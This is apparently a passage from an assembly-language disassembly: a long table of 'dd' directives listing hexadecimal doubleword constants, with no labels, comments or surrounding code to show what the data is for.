		dd 0E6737986h, 3E223F85h, 15D95680h, 6069C1A5h,	6C4C4700h
		dd 861ADF8Fh, 0F4E28Dh,	0C6E050ABh, 72D3FD16h, 6A002079h
		dd 851D1A4Bh, 602C3ACBh, 75476862h, 9A03ACE0h, 1ACE2086h
		dd 6BDFF8EBh, 0A0C979A9h, 39F4A8h, 43323885h, 99473750h
		dd 0A70090B9h, 0D607DB6Bh, 0DD330E91h, 5621AF32h, 80F1B401h
		dd 4FED8F19h, 226AEA8h,	50C00AE1h, 2040EF78h, 0B8BAB937h
		dd 4B00A978h, 0CE3E2989h, 38B61127h, 0A78F1541h, 7D890B60h
		dd 6C070000h, 0CAB0DEA5h, 551FCD00h, 197E15F1h,	7F0A00BBh
		dd 7885644Bh, 0EB988B0Bh, 0C0C44403h, 0E891FD6Ah, 111D134h
		dd 89F4EF83h, 0E90EDC43h, 29393092h, 97D73Fh, 139EA595h
		dd 357144h, 0F93A679Fh,	0F8732F28h, 2F7B90Fh, 8FE4C088h
		dd 42CCA4h, 6CE8CB4Dh, 7CCFDE4Ch, 696D2203h, 0C0E4BD57h
		dd 0A5B907h, 0CA297E18h, 0C1BF5B86h, 8024713Ch,	6E67D3C2h
		dd 3065680Fh, 7B08080Eh, 0A4006D7Ch, 3D7D3904h,	852CFFh
		dd 9CB4E735h, 0A2421553h, 385C0A0Fh, 87AC8328h,	3029C089h
		dd 0BF142F58h, 53003C5Eh, 72445AD8h, 61B6079Eh,	0B05E3645h
		dd 5C92296Eh, 40057F0Fh, 8D63201Bh, 0DB98FEh, 835B9486h
		dd 0DF800355h, 3FD2E400h
		dd 9E91A26Ch, 0D1FD0029h, 7E6F955Eh, 680D7C4Dh,	502A02CCh
		dd 0C0FD3D30h, 7B989B31h, 54004CC8h, 3930B2A3h,	6082E2DAh
		dd 4A0420B5h, 361D6440h, 0A1CEC92Fh, 741DA09Eh,	165E54h
		dd 0D162B222h, 0EAD316Dh, 0A9445600h, 0D440E8B9h, 0A7BC0050h
		dd 5A86CBE4h, 9572C3F4h, 8EE22E00h, 269EC6B0h, 0ECE4F0h
		dd 0AB4F7ED9h, 5D503D74h, 9B718501h, 0F465A90Ah, 381C20h
		dd 29AE3E59h, 0B83B3D4Ah, 80ABE738h, 459841FCh,	0DF263A15h
		dd 0C6A8349h, 0AE95C2A8h, 21D15880h, 8FF200A2h,	5163140Ah
		dd 0EC007EC3h, 61BE9456h, 0A3DA0Fh, 0C40DF693h,	1FC8CC2Ch
		dd 5A986D00h, 0B079173h, 0F4F09Eh, 71DD755Bh, 0FF50D8B7h
		dd 28215EC0h, 1EB2C60Ah, 437FCE64h, 44D502BFh, 0F400CF87h
		dd 0DC57DD36h, 821538h,	327ED479h, 78C54BAh, 8EF4266Ch
		dd 4C922024h, 5B72CBD7h, 707D8D0Dh, 0C4F1D8E7h,	3A310060h
		dd 99800683h, 89FF607Ah, 120075CBh, 0E5746C93h,	0F58D2A8h
		dd 0B19BF78Eh, 0E2941EFh, 0E06B7801h, 1A57D84Eh, 833A3100h
		dd 2845D73Eh, 0B6AA004Dh, 0E95962ECh, 0C500D39Dh, 7DEAED74h
		dd 0D1D5F7h, 1834380Dh,	0A0FD4DDCh, 23CB0200h, 0DBB0CD7Ch
		dd 9B4F00D9h, 5B6FB45Dh, 6B003584h, 5479ACE2h, 0DFF13Ch
		dd 0E0153DE3h, 0AFCD98C1h, 3F081148h, 416B8071h, 7BA03E34h
		dd 0D7830326h, 0D4691375h, 0C8083Ch, 7F14B44Ah,	1CDBB76h
		dd 0D9037DF8h, 70599320h, 0EA0C4414h, 0B28CE6D6h, 8B9021h
		dd 2E477CC1h, 8E021222h, 716C5D00h, 1C97C7A6h, 6BDD24B1h
		dd 6110048Ch, 0BBD9C0D3h, 0F500D820h, 56F0CFB5h, 5F8992h
		dd 2D407E65h, 6009EE0Fh, 0BA746D74h, 8C948700h,	6B829E2h
		dd 54DD302Dh, 66D0CB78h, 6F734403h, 16C4A670h, 166C19h
		dd 12197AC0h, 421E034Bh, 4AD8E869h, 1563D66h, 63F317D2h
		dd 0CFF414CEh, 2E85C1B0h, 47548200h, 61194062h,	0E4EA5009h
		dd 0A8710106h, 4A67A2C7h, 55E7EC12h, 4206F5EAh,	6604EBCFh
		dd 0F4410018h, 5EBEAD9Eh, 91134031h, 94120F9Ah,	0F0B2D500h
		dd 0C350B4h, 0C9735B1Bh, 45D8017Bh, 0CA18101h, 25CFA232h
		dd 2771C34h, 19B82390h,	5860E8F1h, 18309C7Dh, 8E2C21C0h
		dd 946031Bh, 0D0F7DA77h, 47FA1900h, 0CF7028CEh,	0DE2E0741h
		dd 0D193724Fh, 0F83F5F04h, 2A48B34Ch, 2D6200ECh, 20C76803h
		dd 0D16A1D36h, 3FA45Bh,	0F086D34Ch, 0B41EA842h,	9FE9DB8h
		dd 80578060h, 88538C87h, 29D2009Ah, 398F61CFh, 0AF289647h
		dd 0E900B063h, 427F1266h, 0A260BFh, 189DF216h, 73ABE805h
		dd 3B6D2F00h, 0E79B138Eh, 88CA1D40h, 0AA2C649Eh, 0E8350118h
		dd 0AA3B2F3Ah, 0D697FD0Dh, 0A1C95C40h, 92551707h, 3340D3ADh
		dd 3E1777Fh, 0EABCD6B1h, 0A7B8A04Dh, 0F9035373h, 0EF9C5991h
		dd 0AFC580DAh, 0CA1304EEh, 800C2EFEh, 0E76A738Ch, 3D4B801Eh
		dd 0F58BD030h, 9BA0971h, 0CC808C10h, 44A1A9E3h,	0AD82E52h
		dd 0B8FAF278h, 0A256E200h, 1144E84h, 6A448939h,	855ECCDAh
		dd 18E88F21h, 2A710980h, 212E001Dh, 0C0CA0E73h,	0C26DAABh
		dd 0B201191Bh, 3C9425E0h, 0E2383980h, 962690BBh, 4A527C00h
		dd 0B6568682h, 0B8876025h, 6A7D05F1h, 0A0025CB2h, 9EBCDB78h
		dd 2EC44021h, 0A440FF5Fh, 0F78747h, 220B8554h, 9377A91h
		dd 4CA46F00h, 523CE80Ah, 151E4DBh, 72E4593Bh, 0F8DCE7B1h
		dd 203EC598h, 13B600ECh, 7439BC0Ch, 0F83F7D89h,	0E6B500ADh
		dd 0BE84D83Ch, 0BB6087F4h, 729A1B70h, 310FC1Dh,	0D59E5021h
		dd 0B7E0E791h, 6B0149ECh, 4589EBBFh, 43098DFh, 409A0379h
		dd 5C3E1109h, 4BB230C8h, 0A5D00F50h, 8D5F2800h,	0DCC9D750h
		dd 0D8D20082h, 80F86FA1h, 0D41CF7A0h, 0BD01F17Bh, 0E567DA4Ch
		dd 54FE3D3h, 0C03DABA0h, 7848001h, 5913EB51h, 1402D836h
		dd 81D3E535h, 6F06998h,	2634A024h, 1E5442F9h, 32AB40F6h
		dd 33EDE819h, 5843B33Eh, 94DE6044h, 609129h, 1E67A45Bh
		dd 9FB3A0AEh, 86E0B500h, 0AA4B6574h, 0D5160080h, 7F5F491Ch
		dd 0BC00BE2Bh, 0DB04E582h, 77F8A0h, 0A743B0E0h,	1B6DF520h
		dd 0CD682F02h, 4073369Ch, 40ED7654h, 0CF0E5284h, 7408E76Eh
		dd 0F5AC00B4h, 1FB7BCFDh, 33BD00BBh, 887DAA06h,	0C00014A5h
		dd 0AE4723A8h, 32B2FC1h, 0F099DC79h, 517D85BAh,	38AF4D00h
		dd 0E0505F74h, 0E8A300FCh, 961D1742h, 0AD0F3CCAh, 60162A29h
		dd 7B8C1A05h, 0A1A33945h, 77080BDh, 6F0BC5D8h, 416C0007h
		dd 4B4C2158h, 4A1D0035h, 0F8D529BCh, 29E00ABh, 8A135FA8h
		dd 7512B828h, 0B80038CAh, 0A5D3F75Ah, 3C5100ACh, 0EF0BF7Dh
		dd 0FC3A9A5Fh, 6B0C062Ah, 3F0F35Ch, 95C8F140h, 3EF0F2D1h
		dd 0EF4D46Ch, 2D55E918h, 0A1CB10h, 0D211D912h, 83826931h
		dd 0C1F0950Eh, 0ED3E60E6h, 869EDDh, 0AD47D01Ah,	0C80B1075h
		dd 76588C0h, 9220D64Ah,	0D7EA0004h, 0E0C41FBEh,	41302D15h
		dd 707818F2h, 77EF0A0h,	2FA58B08h, 0CF4DF074h, 2A7F66C7h
		dd 0C212E8F3h, 0D437EF0Ch, 5B77876h, 823CF020h,	0F9801FADh
		dd 381F79E4h, 70E20068h, 496D0FA7h, 0B8001ADFh,	5BFFBA0h
		dd 1FF3ECDh, 677FC799h,	4372797Dh, 0A7E32590h, 648AF0C0h
		dd 54831650h, 0C11D88B8h, 0D3C0197Bh, 6D7E31FBh, 43A72E13h
		dd 45E300D0h, 66746F86h, 0A67F370Eh, 658B2775h,	0C80A90F0h
		dd 34450743h, 72CFC494h, 9C6836AFh, 0E3010BA8h,	0B8BE75E9h
		dd 50606DE7h, 0F7F300C7h, 9DB9DF2Eh, 1100A32Bh,	0AFD5C47Bh
		dd 403017h, 0EEDB3A8Eh,	3701A8C9h, 2A9A7A01h, 52BF78Ch
		dd 24EFA0C0h, 13106215h, 0C7682159h, 529CD8ACh,	189440FFh
		dd 50005DC5h, 0E738FC1Ah, 7BBC2137h, 776D003Ch,	0D96A22B9h
		dd 9400BF1Dh, 7ED8F6F4h, 9348B59h, 0D6FD3024h, 321B6C01h
		dd 0D54464C3h, 1E90074Ch, 4080A370h, 5D0B4A8Dh,	43934833h
		dd 73BACA07h, 77458Ch, 8521DAB8h, 2A0CE349h, 98A1A727h
		dd 0D12300C8h, 0E964F42Eh, 3DFC06B5h, 32F34B00h, 437893F0h
		dd 84D300E7h, 0BD9FCF92h, 0A31E6EBAh, 0A102F46Dh, 407CE84Ah
		dd 0FCFEB69Eh, 35E5034Bh, 92075C15h, 40C5CE91h,	0B7A459C0h
		dd 0A6012E7Ch, 0AB4E7349h, 11F524FCh, 2700980h,	0C73DDB2Dh
		dd 35B85F03h, 90CA2C80h, 0E02BC8h, 0D2677E3Bh, 0F564CEFFh
		dd 8CC9C226h, 3400E91Dh, 0A6A51E27h, 0D660F9Dh,	0C0121CB2h
		dd 9E5FBE88h, 134B2B7Bh, 0F6AA5C00h, 5ADB64h, 556D0690h
		dd 72DD0358h, 0C656D902h, 40708934h, 0AC06D530h, 806D0F24h
		dd 1BA06BC1h, 0DA8635C7h, 16099F01h, 0C278F822h, 91C080D2h
		dd 0BC63D1h, 7E1ED42Ch,	454921D9h, 0DC58F504h, 688039EEh
		dd 978EC5h, 80CA7C72h, 9E5A106Bh, 0E17F1B12h, 0B9A26CC0h
		dd 48C0B847h, 66E05C5Fh, 1578C0D6h, 0AC4350DFh,	0AF2C4956h
		dd 8CF26F6Fh, 20B748E2h, 0CC2E5B1Dh, 0B4800C36h, 222F404Bh
		dd 797B2447h, 0A98C0256h, 68D49CDEh, 6EC5E51Ch,	2C810452h
		dd 39D08208h, 45D70086h, 5AD925AAh, 727141F0h, 614BB509h
		dd 0A72C04F3h, 6AD18CC0h, 0D2E900DCh, 52E6B788h, 0EE00868Ah
		dd 9A27C73h, 72CF9Fh, 9CE751E2h, 1CCE310Fh, 56ADF000h
		dd 76B55441h, 28450026h, 682EBB3Eh, 0A900E40Eh,	2F834F7Eh
		dd 7311F4Dh, 0D087E19Fh, 139BC0F0h, 401E2ED8h, 0DC80AFA3h
		dd 1D250E3Bh, 0F8FF009Fh, 69948050h, 0B10076AEh, 0A511C21Fh
		dd 4A93341h, 0C30E90A6h
		dd 0CC49C046h, 0D6005C84h, 0AB1BD788h, 72F4E8CFh, 762300E4h
		dd 509955A4h, 832877B3h, 9200AC20h, 0F7F834BDh,	1EFA266Bh
		dd 80FF6A41h, 9643D9A5h, 9800B5E1h, 68A02744h, 0C99046h
		dd 1C8595C7h, 0E28B9B1Ah, 929A3100h, 0B5516D1Fh, 3D21009Fh
		dd 0E1A67956h, 941C767Fh, 0A302C49Ah, 40ACCD2Bh, 1D88E8BCh
		dd 8326DF5Dh, 4A14364Dh, 5A7125F0h, 0A516A03h, 0B9EC69F4h
		dd 36F4DEA8h, 4DEA0948h, 7800DCD1h, 0C3BFB099h,	0DDD9B617h
		dd 9FF2403h, 238EF00Eh,	4EC98E7h, 9E95BE82h, 3166C02Fh
		dd 0BC164E87h, 8C402366h, 0B4EC03A8h, 84B0FC9h,	8249FE8Ah
		dd 784CA844h, 0FBD9027Ah, 41DEF3C8h, 0C02059C4h, 0BB8204DAh
		dd 0C767E6D1h, 5352E154h, 0C538202Fh, 2285DD00h, 0BB5CB395h
		dd 504D0246h, 26EDCCD9h, 0FAFB3440h, 54CBAB01h,	4E297343h
		dd 0A6EC8871h, 601B007Bh, 0CA5E0F4Ch, 9DEA2A8Ch, 0E4940090h
		dd 0A4F29183h, 4AB839B2h, 442E940Bh, 4E397C9Bh,	28990F0Ah
		dd 203F8992h, 486986A0h, 948300D4h, 6E9D265Ah, 4001F923h
		dd 0F4ED0F80h, 73C0FCB1h, 2AC40084h, 0F1DBA47Ch, 0A700A9F0h
		dd 0B5FFEEF2h, 75C006BDh, 0B0EB14C5h, 2D09F420h, 68C4CED9h
		dd 23EC8600h, 0EAE98AFBh, 122EF815h, 857791E1h,	28389704h
		dd 0C8DE4142h, 0AA7CCCh, 9DB7FAB1h, 96800C4Bh, 0F0AD4500h
		dd 72E5E4F3h, 39B9041Ah, 0D03295A7h, 5B8C278Ch,	9D5C2C05h
		dd 0DCD0041Bh, 0FE459Bh, 43837034h, 6D84DB4Fh, 246BB001h
		dd 95F73775h, 3E61BFE8h, 4B00A2B3h, 57444E2Ah, 8F1E3E8Dh
		dd 0F0406A92h, 2597E8C3h, 1685002Dh, 5A4AD39Bh,	5B48CA83h
		dd 0D24B0075h, 4401269Dh, 6DEEA6h, 1CDBE1AFh, 0F654308h
		dd 8B98E4F0h, 0D3B82E00h, 0EF0C5D80h, 5152008Ch, 49D992C8h
		dd 0E000A81Ah, 121EBA34h, 3C5D368h, 0E4C05E93h,	9BC8F595h
		dd 0DD03D784h, 1A407EE3h, 8237E01Eh, 5DC90169h,	49EFB512h
		dd 8AADC4BAh, 1301D890h, 7B392BDEh, 78204A2Fh, 0FC0A4C09h
		dd 0B801E025h, 0DBA1E5FDh, 0C06427B8h, 7FF5350Fh, 0D99440DFh
		dd 0B02365D1h, 0ACC915F4h, 3700A04Bh, 70ED0938h, 0F90AA4Ah
		dd 1100E77Eh, 0CDE4040Dh, 1788BADFh, 8908E0h, 5207C960h
		dd 93018F3Ch, 11D8AF86h, 1052E13Ah, 0FFCA0709h,	0AA16D200h
		dd 0D74A8BBh, 5EEBA74h,	3FEC22h, 0D58972E6h, 0F3025C8Fh
		dd 144808C0h, 92A02Bh, 70E1AC2Ch, 110D9FD9h, 0CCF7913Fh
		dd 415730DEh, 0EEF246AAh, 6576A7h, 649026F8h, 0E38E1E72h
		dd 9AC863Ch, 0E0FCA0FEh, 0C4673E8h, 35D157DDh, 0BD80AE98h
		dd 5AF08A8h, 0E08A3E1Bh, 0B006807h, 0F1D5F741h,	804700F9h
		dd 0AB3E5686h, 5170C8E7h, 9CD32503h, 0E88CD590h, 3F54DC2h
		dd 17873C3Fh, 6FE89D49h, 0B1002F62h, 0BEECBFB5h, 0DBCCFEh
		dd 0D0273AF0h, 0FDB08ADAh, 3F82300h, 0A76E0F87h, 0BC320983h
		dd 8F16CDh, 97B2C01Ch, 0C32AD21Dh, 42173D30h, 87CD8Ch
		dd 0F6EC65DFh, 5D24A6D0h, 358D9E07h, 18C0B662h,	576E39h
		dd 108ED33Ch, 6AD9B7B5h, 6B9ED40Fh, 60E62082h, 75163372h
		dd 1AF90453h, 800CD25Fh, 0F28D10Ch, 48340500h, 0AE179D7Ch
		dd 0A1C803DEh, 0DC645275h, 7E06D6B8h, 0C4577400h, 315D5078h
		dd 0F1A00362h, 0A6766ABDh, 0DB69A9B0h, 7528ED00h, 2CA1B256h
		dd 0E409FCEAh, 42470064h, 6B9BF859h, 690F067Bh,	0ACC1FAF1h
		dd 5B220D2h, 5682A60Dh,	26203851h, 524B078Eh, 4C7AE181h
		dd 0CB7BD530h, 0CF2CDB01h, 1701856Eh, 219D0898h, 601833Ah
		dd 0B8D58A4Eh, 92D0B73Ch, 0E0B567DCh, 8D0FF89Eh, 792E00AEh
		dd 0E8305281h, 8EBA3166h, 0DCD89211h, 0FD061B32h, 0C53356E0h
		dd 21AB6008h, 39BAF07Dh, 826E7700h, 88147135h, 808D3860h
		dd 0E9C55286h, 0F5389186h, 0FA2C801Fh, 0F9A91DA3h, 8E702AC1h
		dd 32680A88h, 1EC4ADD1h, 0CDF00A38h, 7200BC8Ch,	0DD5E545Ah
		dd 811B2531h, 0D60859D5h, 4D173B21h, 39D87400h,	2C3DC24Bh
		dd 413AB634h, 8C7C9C3Ah, 31CB7F03h, 0D8A9E779h,	0C8D703Fh
		dd 74ACE0D2h, 0DA6FAE29h, 0B6AF0381h, 90190080h, 0E2A2EC44h
		dd 9A6EBACAh, 81BEE331h, 3689D8B1h, 1EEF006Fh, 135898B9h
		dd 0E60065BCh, 0D94E838Eh, 260C894h, 0F9A71052h, 8882806Ch
		dd 5E18CCC4h, 0DE221154h, 940D8851h, 44008E13h,	7FA0AE56h
		dd 0D260BB04h, 0E8CB2A8h, 7BB40E01h, 0F54BEE33h, 0EEA78307h
		dd 575BD903h, 1BE7123h,	0DD5C5460h, 880B1881h, 54008315h
		dd 0FCDE0C1Ch, 0E0A09EBEh, 215A60CDh, 9701E53Fh, 0ED459304h
		dd 348E053Eh, 86C08F88h, 0A877E1A8h, 0EBA5B4h, 9A280DD6h
		dd 1749B8AAh, 6A88C800h, 1B4FCA9Bh, 9FBB18CFh, 813730B1h
		dd 7DB7800Ch, 7C11076h,	0D6699422h, 0E9B9161h, 6089541h
		dd 6ACF0194h, 0E897BD93h, 15FA4270h, 0F8B3BA6Fh, 180E5701h
		dd 526BF068h, 5D30BF98h, 0DD5F1454h, 10E0D069h,	67005458h
		dd 7EFD9FB6h, 0C06BBAE4h, 0BF3A9B99h, 0A1262FDCh, 7700C644h
		dd 0BA0E6435h, 0D1EC12A2h, 0D27C2031h, 93F0A9EBh, 665DFE07h
		dd 5807168h, 15851BF0h,	0A09BBD92h, 0EAF31001h,	0C06CC612h
		dd 4C014D63h, 255655AEh, 0F84B3B3Fh, 0B402A3DEh, 607D71A7h
		dd 206BEA84h, 0CC3050AAh, 72B629F1h, 0C4B10083h, 4CCAD9E3h
		dd 0EFE66B98h, 11555300h, 38A495DCh, 0C1191444h, 0EB84448h
		dd 0FE0728Ch, 141D1EF7h, 61C65000h, 0E439CC33h,	106381ABh
		dd 0A5B653E3h, 3F671C24h, 0AC80C7A7h, 22BED355h, 0A203FE10h
		dd 4C7BEAAFh, 44C94989h, 5C01DA23h, 61DD6854h, 29808423h
		dd 0CF90544Fh, 1F145700h, 0AE3CD594h, 0BEE827h,	6D1B0631h
		dd 0E4334492h, 617DE50Bh, 42390EEDh, 6155B490h,	9D24B98h
		dd 60835C04h, 2645F1CDh, 71F81F2Ch, 6106E834h, 0EC2F109h
		dd 1642221h, 0FCC444CEh, 2C6E4872h, 5E7E9804h, 0D5B088BDh
		dd 0A3E07B00h, 0EB90C804h, 1A5B01F5h, 5CC58617h, 4D5DE04Ah
		dd 0E153420Ch, 0E7771A3h, 0DE55A4C2h, 0A80F1DC0h, 9B002ED7h
		dd 5DE6FB47h, 26C687B9h, 74285C4Ch, 9440C646h, 201E419h
		dd 2D683AAEh, 0CC91C884h, 8671811h, 59DD6954h, 1207F1CEh
		dd 61B95482h, 6374E619h, 30C6A230h, 0BB38D30Fh,	44FA6F3h
		dd 0ECCD282h, 4DD899ADh, 0F1082F18h, 0C46F2CD7h, 0C73640DAh
		dd 1D7A28F1h, 0D6695333h, 7F1200C5h, 0D8F66FD3h, 11449705h
		dd 0D4845F0Ch, 9406D413h, 1F99652Ah, 419AD8D5h,	0F2B5C311h
		dd 0C0445B81h, 0FEBF2D2Fh, 7347015Bh, 0B8BD6F87h, 230C7329h
		dd 0C4461D64h, 62AD1BC8h, 0BE7320A0h, 7600BAB9h, 599E34E4h
		dd 4CB03277h, 143EC460h, 935E02C3h, 3041D655h, 0AB8074B0h
		dd 7B930066h, 5FDAF761h, 5B26BC14h, 1C1184B5h, 0EAE9904Ch
		dd 2438B130h, 4068B6CBh, 96D9D894h, 1523AA00h, 0FE13CFABh
		dd 823400E7h, 48CA543Dh, 0BD73E9FDh, 816B9618h,	32D8AE39h
		dd 541078BFh, 0EBFC40E0h, 0BC394C2Eh, 58DD5600h, 7232650h
		dd 0F7AD9882h, 0A58892E9h, 0E62F4E0h, 0FF501260h, 802FEAh
		dd 1603BF86h, 0DEB4BB36h, 6F38441Ch, 4ADF9680h,	0B16DB9h
		dd 1B2F068Ah, 56795E1Dh, 19D14800h, 0D44C778Dh,	45DA00D9h
		dd 1B765B86h, 6F0037F2h, 0C6B3C51Ch, 38D2C99Ah,	519C987Ch
		dd 497D0702h, 4A1DB1BCh, 0C2FCD87Eh, 0A123E00h,	0ED1B703Dh
		dd 0C7E400B0h, 0A218B3C9h, 861D880Ch, 0B1C02D98h, 99CEF213h
		dd 0E66D0062h, 877481ABh
		dd 77C4AD9h, 794E3900h,	802E316Ah, 0A3C600EEh, 2B230847h
		dd 1000EA82h, 6DBDD959h, 918921h, 4338AD2Ah, 0CE04ED26h
		dd 79D2C0C7h, 88A105A0h, 0FB6700D9h, 2B0CA9ABh,	7E1F9118h
		dd 0E418565h, 0FC046EECh, 0F267E8h, 43486A49h, 0FE333C20h
		dd 0A71AC800h, 0D247A20Fh, 0DE98005Eh, 0AE7E9262h, 31012856h
		dd 78C33D5Ah, 99D88777h, 0A0D4D026h, 0D6E14400h, 7F3FE88Eh
		dd 0A911100h, 0DB9B191Ch, 0D27600EFh, 0E2A14E2Dh, 202DD79h
		dd 22BBD0EEh, 24C0A0C9h, 0F6100CB9h, 3BC501F4h,	31AC464Fh
		dd 0AEC080CCh, 10870129h, 19670F57h, 60C0563Dh,	351113B6h
		dd 0C3F880C1h, 292016A8h, 4AD42A76h, 0E01109C0h, 0BA8036C7h
		dd 0FA5127Dh, 65F84CEEh, 6760CD3Ch, 8F0018C1h, 1D638FAh
		dd 0DCFC6EDBh, 50891412h, 5A19CE80h, 644DE30Fh,	3C9225D0h
		dd 5D76E003h, 327D9087h, 0EB8000F9h, 0E4675537h, 0E13D248Fh
		dd 0ED2B80B6h, 8D18E538h, 8BCA0F75h, 23A059D9h,	4AE993B5h
		dd 0DDEC6A00h, 0F535AA26h, 8B6D0148h, 0DBE434D5h, 7AA07AADh
		dd 0EB173956h, 49676A00h, 26D43E4Eh, 0BA3F40C0h, 2E14FB42h
		dd 3EF203D2h, 92CD8B80h, 54361596h, 4E0E5A03h, 0A08F1C9Dh
		dd 150C4A45h, 0C0CAABE7h, 0B9558701h, 3499BA63h, 8D000750h
		dd 845C9AC3h, 139449Eh,	60AD0376h, 6237D047h, 3008F230h
		dd 9C010CFAh, 0BFFC718Ah, 7FF4D20Dh, 0D34C0114h, 0AFF4F3B5h
		dd 63103090h, 25E5E63Dh, 80B43537h, 53BD8E13h, 450178B1h
		dd 4CB3F44Fh, 31F8AD97h, 50A42762h, 9B395400h, 44008814h
		dd 52807FC7h, 3F65063Eh, 89130E83h, 0DDE84FEDh,	57DA7600h
		dd 280051C4h, 8055F9C0h, 6D5DE4Fh, 4A06D35Dh, 3DE62078h
		dd 0A982073Ah, 63C1207Ch, 0D20C561Dh, 0D82CDC3Bh, 8CA3BC4Ch
		dd 9C8D3A03h, 0ABB7BCh,	0A0A3FC19h, 0C8CC569Dh,	0E7C714Ch
		dd 0C0F8390Dh, 64A99EB2h, 38EA14A1h, 0F93E8408h, 0B357AF0Fh
		dd 0E3641D96h, 19C4F11Dh, 8D62C51Bh, 0B9A97220h, 6E20130h
		dd 0F21EDC28h, 3FE89CA8h, 809E0A07h, 7B5AA210h,	18F13068h
		dd 2B671C08h, 7E325Ch, 0E34FCA08h, 8654DFh, 3D41B67Ah
		dd 0D42D47B1h, 725C7E06h, 39FE17h, 39B73CECh, 933A05DDh
		dd 0F894CE01h, 6972F38Dh, 4DE190E1h, 60B83088h,	5F29003Ch
		dd 0C408CACh, 76890182h, 4644A967h, 505A301Fh, 683930C0h
		dd 0FF70E32Ch, 0CB43880h, 1BD857DBh, 0E007380Ch, 60820828h
		dd 14D42064h, 0A8003BDBh, 0C8F04655h, 0C00F7DF8h, 7BEC7688h
		dd 156071D9h, 0ABAEA999h, 0FBC7001Fh, 658A099Bh, 4E87D73h
		dd 58D87C0Ch, 0EF70F0h,	0F55D8E70h, 6D665FBFh, 0FD0787EEh
		dd 2C6FA190h, 60A30D92h, 0F2D234h, 851A70B8h, 5C8A1DEDh
		dd 0DAE83C0Fh, 2A9C8598h, 0B2F2D80h, 0B2DC032Bh, 69B609C3h
		dd 0E490FFE0h, 0D907FD00h, 5C61195Eh, 70D500D6h, 0A35DE997h
		dd 0D700E489h, 0DEA984C5h, 1DE0559Fh, 18E12FC0h, 0BAE921B9h
		dd 8EA58400h, 78632634h, 0D7AA013Ch, 0D15160CCh, 0EAD9E4A9h
		dd 0C76E7506h, 39AFECh,	0CB3A5AB1h, 0FC196188h,	0A978CE06h
		dd 0F287733h, 41EB1EA2h, 80AAAD07h, 89708EF0h, 30F24D3Bh
		dd 41EA58E7h, 0AB600023h, 0A437E4C7h, 310C7289h, 11E5A1C1h
		dd 0AFE800C4h, 0CCB54B3Dh, 9D666A35h, 7221E008h, 49AF00A7h
		dd 68D4E4E5h, 0ED26AD23h, 0F9163FE7h, 5D0200EBh, 6DAAC499h
		dd 0FF412700h, 0BE638B1Ch, 7E20C107h, 0DFBDEDh,	1832E4B3h
		dd 10DD4D7Dh, 540027DCh, 8C4E1A20h, 771D5EE7h, 14CB0009h
		dd 61E2C6C2h, 0E80076AEh, 0AD658ABh, 4C2AD585h,	6E015077h
		dd 1293CFAAh, 0AB044BBDh, 360B717h, 92D0FA6Bh, 0AC871800h
		dd 24D9A6C6h, 18DA01D3h, 572E2B6Ch, 54FAD891h, 10FD2A03h
		dd 8C9C587h, 15672F29h,	424D223Fh, 0BE4A1148h, 51646B58h
		dd 105C2261h, 9789BC11h, 46C91441h, 8209012h, 5A9A75h
		dd 0E09D6505h, 739264FFh, 0B9840200h, 0C2A91A6Bh, 7A9801CEh
		dd 0EC2A6A33h, 0C422D032h, 23CCEA00h, 8AD44A2h,	6FB8D5h
		dd 0BDE6953Ah, 2F397EFFh, 8F3D55E4h, 0AEF58FEBh, 0A056809Dh
		dd 0C9CC2h, 4063CEDh, 4FFA42EEh, 67458F00h, 7CEA4C96h
		dd 185F40Bh, 6686B811h,	30029012h, 0A30063E7h, 19C996ECh
		dd 533DD0h, 759034Ch, 616482Ch,	7A6204Ch, 0FADA6079h, 0EAAC5C50h
		dd 3619079Bh, 0D3ECBFh,	116CDBADh, 0D42BD50Ah, 5801809Fh
		dd 0E032E690h, 9E7CD0h,	0BEE47DB5h, 0C40A15A1h,	0FE1F282Fh
		dd 0D900386Bh, 2A2F360Eh, 77003AE4h, 0EC885049h, 0FB1A109Fh
		dd 7FAA7883h, 4A882F25h, 64F8C9BFh, 0E792B13Ah,	0FD60E310h
		dd 0BD4206Ch, 0A286F369h, 0A77D6E80h, 0BE005D16h, 0DEAEDADCh
		dd 67117B7Ch, 0CC88860h, 8F00D8A8h, 82E9E52Fh, 700528h
		dd 0BD80E112h, 7D983A8Ah, 9B778600h, 0A926489Ah, 49CB07BCh
		dd 0D11A8D08h, 0D81F970Ch, 2E7B4CE1h, 2D5490C1h, 47E842FEh
		dd 0C09E005Dh, 0A7A33EC6h, 0C400905Fh, 21DB4F2Eh, 2B14CDh
		dd 2A0AF996h, 34A737ABh, 0C1FAFC00h, 5018193Dh,	0EA4101B0h
		dd 0CA0FFB6Fh, 0E2884058h, 7D00EB6Ch, 9275C2DDh, 0C7CBFF3h
		dd 7FD49E87h, 0E4E93708h, 7603E15Dh, 6B79F6AEh,	0F311A884h
		dd 0E250608Ah, 0D10A87A3h, 7D544B02h, 0D0C0FD77h, 7123006Dh
		dd 29C48EBDh, 5E7C990Ch, 0EBBF7200h, 2CBECC74h,	3B6D015Dh
		dd 6FB34947h, 0CE2AF48Eh, 43B25500h, 22F3E1D4h,	6E2D0063h
		dd 96D8D09Ah, 88004C01h, 92DCA659h, 7F7ABB3h, 73DE4BBEh
		dd 0EEDA43D5h, 0F760E8E2h, 0AE00A60Dh, 13FB819Ah, 0C75D3843h
		dd 0CF2AE0F8h, 1401396Bh, 0E4B6CF19h, 0BA001434h, 0CCB60C1h
		dd 6059107Fh, 1C3A1839h, 0B00CC05h, 0BAB1EB5Dh,	0C41603h
		dd 2185502Fh, 55E4A05Bh, 49F4B503h, 0C130C7h, 7FF64338h
		dd 478E03F5h, 8C9B4D00h, 6C9F8B90h, 35DE2C16h, 185801EBh
		dd 0C4C87A53h, 0FF00E5D1h, 7CC4049Dh, 9A72E9h, 0F5A17D1Ah
		dd 0A2C0D2AFh, 1081EB00h, 8AA88674h, 0E01704ABh, 80669247h
		dd 0BD7A6568h, 0D24ED72Ch, 33906200h, 372A4Dh, 0E73F5E03h
		dd 5519FCEDh, 97A66024h, 0C8001212h, 0BCE9AD56h, 3FDA00BBh
		dd 39CE04DEh, 78004BD9h, 0B5D7ED22h, 0CAE71Dh, 9FE2157Ch
		dd 9B95BE5Ch, 0E8A6800h, 0E9B46E91h, 3A3B02Ch, 8E76232h
		dd 0BFA0A65Ch, 19007F3Ah, 2D537060h, 347AE9Ah, 3BEBB224h
		dd 5B8952A9h, 4323F4C9h, 0E6F60100h, 411138A2h,	46960356h
		dd 179D58C0h, 9C3FF398h, 0D373DC09h, 7E802E2Fh,	0E0241B4Ah
